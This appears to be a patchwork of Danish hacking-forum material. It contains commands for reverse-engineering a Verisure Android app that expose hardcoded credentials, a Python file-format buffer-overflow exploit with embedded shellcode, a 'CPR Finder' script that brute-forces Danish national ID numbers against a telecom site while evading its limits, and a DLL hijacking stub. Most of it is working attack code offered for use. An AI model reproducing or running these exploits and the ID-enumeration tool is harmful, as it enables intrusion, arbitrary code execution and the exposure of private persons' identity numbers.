Citer:adb install <stien til .apk-filen>

Citer:C:\sdk\platform-tools>adb install C:\Users\MXI\Desktop\Android\verisure.apk
1112 KB/s (7109188 bytes in 6.240s)
pkg: /data/local/tmp/bas.apk
Success

Citer:'C:\sdk\platform-tools>adb -d forward tcp:5601 tcp:5601'

Citer:'C:\sdk\platform-tools>adb devices'

Citer:C:\Windows\System32>ipconfig

Citer:C:\Users\MXI\Desktop\Android\>apktool d C:\Users\MXI\Desktop\android\verisure.apk verisuredecom
I: Baksmaling...
I: Loading resource table.
I: Loaded.
I: Loading resource table from
I: Loaded.
I: Decoding file-resources...
I: Decoding values*/* XMLs...
I: Done.
I: Copying assets and libs...

Citer:<activity android:name=".DeveloperActivity" />

Citer:C:\sdk\platform-tools>adb shell
root@generic:/ #

Citer:C:\Users\MXI\Desktop\Android\>d2j-dex2jar C:\Users\MXI\Desktop\android\verisure.apk

Citer:
dd.a(this, "[b]mm-test1@verisure.com", "asdf1234");[/b]

Citer: private static void b(Context paramContext)
{
b = new a(new ByteArrayInputStream(a(paramContext.getResources().openRawResource(2131099649))), "mysecret");
d = c(paramContext);
}

Citer:'C:\Program Files\Java\jdk1.7.0_51\bin'

Citer:keytool -importcert -v -trustcacerts -file <certifikatet> -alias sslshit -keystore <keystore-filen der skal eksporteres til> -provider org.bouncycastle.jce.provider.BouncyCastleProvider -providerpath <BouncyCastle's Jar library> -storetype BKS -storepass <Kodeord>

Citer:apktool b(står for build) <mappenavn på de decompilede smali filer> <navnet på den nye apk-fil>

openh = "\x3c\x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22"

closeh = "\x22\x3f\x3e\x3b"



buf =  ""

buf += "\xbf\x67\x53\x20\x02\xdd\xc1\xd9\x74\x24\xf4\x58\x2b"

buf += "\xc9\xb1\x32\x31\x78\x12\x83\xc0\x04\x03\x1f\x5d\xc2"

buf += "\xf7\x23\x89\x8b\xf8\xdb\x4a\xec\x71\x3e\x7b\x3e\xe5"

buf += "\x4b\x2e\x8e\x6d\x19\xc3\x65\x23\x89\x50\x0b\xec\xbe"

buf += "\xd1\xa6\xca\xf1\xe2\x06\xd3\x5d\x20\x08\xaf\x9f\x75"

buf += "\xea\x8e\x50\x88\xeb\xd7\x8c\x63\xb9\x80\xdb\xd6\x2e"

buf += "\xa4\x99\xea\x4f\x6a\x96\x53\x28\x0f\x68\x27\x82\x0e"

buf += "\xb8\x98\x99\x59\x20\x92\xc6\x79\x51\x77\x15\x45\x18"

buf += "\xfc\xee\x3d\x9b\xd4\x3e\xbd\xaa\x18\xec\x80\x03\x95"

buf += "\xec\xc5\xa3\x46\x9b\x3d\xd0\xfb\x9c\x85\xab\x27\x28"

buf += "\x18\x0b\xa3\x8a\xf8\xaa\x60\x4c\x8a\xa0\xcd\x1a\xd4"

buf += "\xa4\xd0\xcf\x6e\xd0\x59\xee\xa0\x51\x19\xd5\x64\x3a"

buf += "\xf9\x74\x3c\xe6\xac\x89\x5e\x4e\x10\x2c\x14\x7c\x45"

buf += "\x56\x77\xea\x98\xda\x0d\x53\x9a\xe4\x0d\xf3\xf3\xd5"

buf += "\x86\x9c\x84\xe9\x4c\xd9\x7b\xa0\xcd\x4b\x14\x6d\x84"

buf += "\xce\x79\x8e\x72\x0c\x84\x0d\x77\xec\x73\x0d\xf2\xe9"

buf += "\x38\x89\xee\x83\x51\x7c\x11\x30\x51\x55\x72\xd7\xc1"

buf += "\x35\x75"











print len(buf)



eip = "\xd9\xee\x1e\x64"

jmp_bck_5 = "\xeb\xf9\xcc\xcc"





jmp_bck_446 = "\xe9\x3d\xfe\xff\xff"

jmp_bck_650 = "\xe9\x71\xfd\xff\xff"

jmp_bck_197 = "\xe9\x36\xff\xff\xff"

jmp_bck_224 = "\xe9\x1b\xff\xff\xff"



payload = openh + "\x90" * (13595-len(buf)) + buf + jmp_bck_224 + jmp_bck_5 + eip + "\x43" * 16394 + "\x44" * 10000 + closeh



sploit = open('hax.rmp', 'w')

sploit.write(payload)

import urllib, urllib2



print "\n\nCPR Finder v 0.3 by Morph3s@shellsec for ShellSec VIP.\n\n"

print "Programmeret en sen aften da en bruger anmodede det."

print "Programmet er for educational purpose only og jeg, Morph3s, er ikke ansvarlig for misbrug"

print "Videre distribution af programmet til andre end Shellsec VIP er forbudt og medfoerer permanent ban fra shellsec\n"







name = raw_input('Indtast navnet paa den oenskede person(Etc. Mark Hansen):')

bday = raw_input('Indtast deres foedselsdag i format DDMMYY(Etc. 150190):')

gender = raw_input('Koennet paa personen(M for mand, K for kvinde):')



print "Vi soeger nu efter: " + name

print "Foedselsdag: " + bday

print "Koen: " + gender



corr = raw_input('Er dette korrekt?(j/n):')



if "n" in corr:

	print "Qutting"

	exit(0)



if "j" in corr:

	print "Super! - Vi forstaetter!"



url = 'https://www.greentel.dk/index.php?ajax=true'





if "m" in gender:

	num4 = {'1','3','5','7','9'}



if "k" in gender:

	num4 = {'0','2','4','6','8'}







num1 = {'0', '1', '2', '3', '4','9'}

num2 = {'0','1','2','3','4','5', '6', '7', '8', '9'}

num3 = {'0','1','2','3','4','5', '6', '7', '8', '9'}

charmap = ['!', '"', '#', '$', '%', '&', '(', ')', '*', '+',

			',','-','.','/','0','1','2','3','4','5','6','7','8',

			'9',':',';','<','=','>','?','@','[',']','^','_']

count = 0

indcount = 0;

reacount = 0;



namear = list(name)



for a in num1:

	for b in num2:

		for c in num3:

			for d in num4:

				

				## Name obfuscation to bypass limitation

				for char in charmap:

						

					if len(name) == (indcount-1):

						print "Not enough randomization. Add chars to charmap"

						print reacount

						exit(0)



					if charmap.index(char) == count:

						namear = list(name)

						if namear[indcount]!= " ":

							namear[indcount] = char

						else:

							indcount = indcount + 1

						break

					if count >= len(charmap):

						count = 0

						indcount = indcount + 1

						break	

						

					







				## Validating through the use of modulu 11

				numbers11 = list(bday+a+b+c+d)

				modulus11 = [4,3,2,7,6,5,4,3,2,1]

				trig = 0;

				total = 0;

				for y in range(0,10):

					total += int(numbers11[y])*modulus11[y]



				







				# Verifies that modulu is correct. If it is, then send request

				# - to site



				if total%11 == 0:

				

					

					reacount = reacount+1

					print "Testing this CPR: " + bday + a + b + c + d

					print "This is attempt number: " + str(reacount)

					print "This is the name: " + "".join(namear)

					count = count + 1

				



					##Setting up data and posting to site

					values = {'up_ajax_action' : 'do_address_check',

		          			  'cpr' : bday+a + b + c + d,

		          			  'fullname' : "".join(namear),

		                          '13246578' : '' }

					data = urllib.urlencode(values)

					req = urllib2.Request(url, data)

					response = urllib2.urlopen(req)

					

					the_page = response.read()

					print the_page



					if "firstname" in the_page:

						the_page = response.read()

						print "Found the info!"

						exit(1)

						

					

					



print "It took " + str(reacount) + " tries!"

// wine gcc -Wall -shared inject.c -o SETUPAPI.dll

#include <windows.h>

  

BOOL WINAPI DllMain(HINSTANCE hInstDLL, DWORD dwReason, LPVOID lpvReserved)

{

    if (dwReason == DLL_PROCESS_ATTACH)

    {

        MessageBox(0,"Inj3ctor","The Black Devils", 0);

    }

return TRUE;

}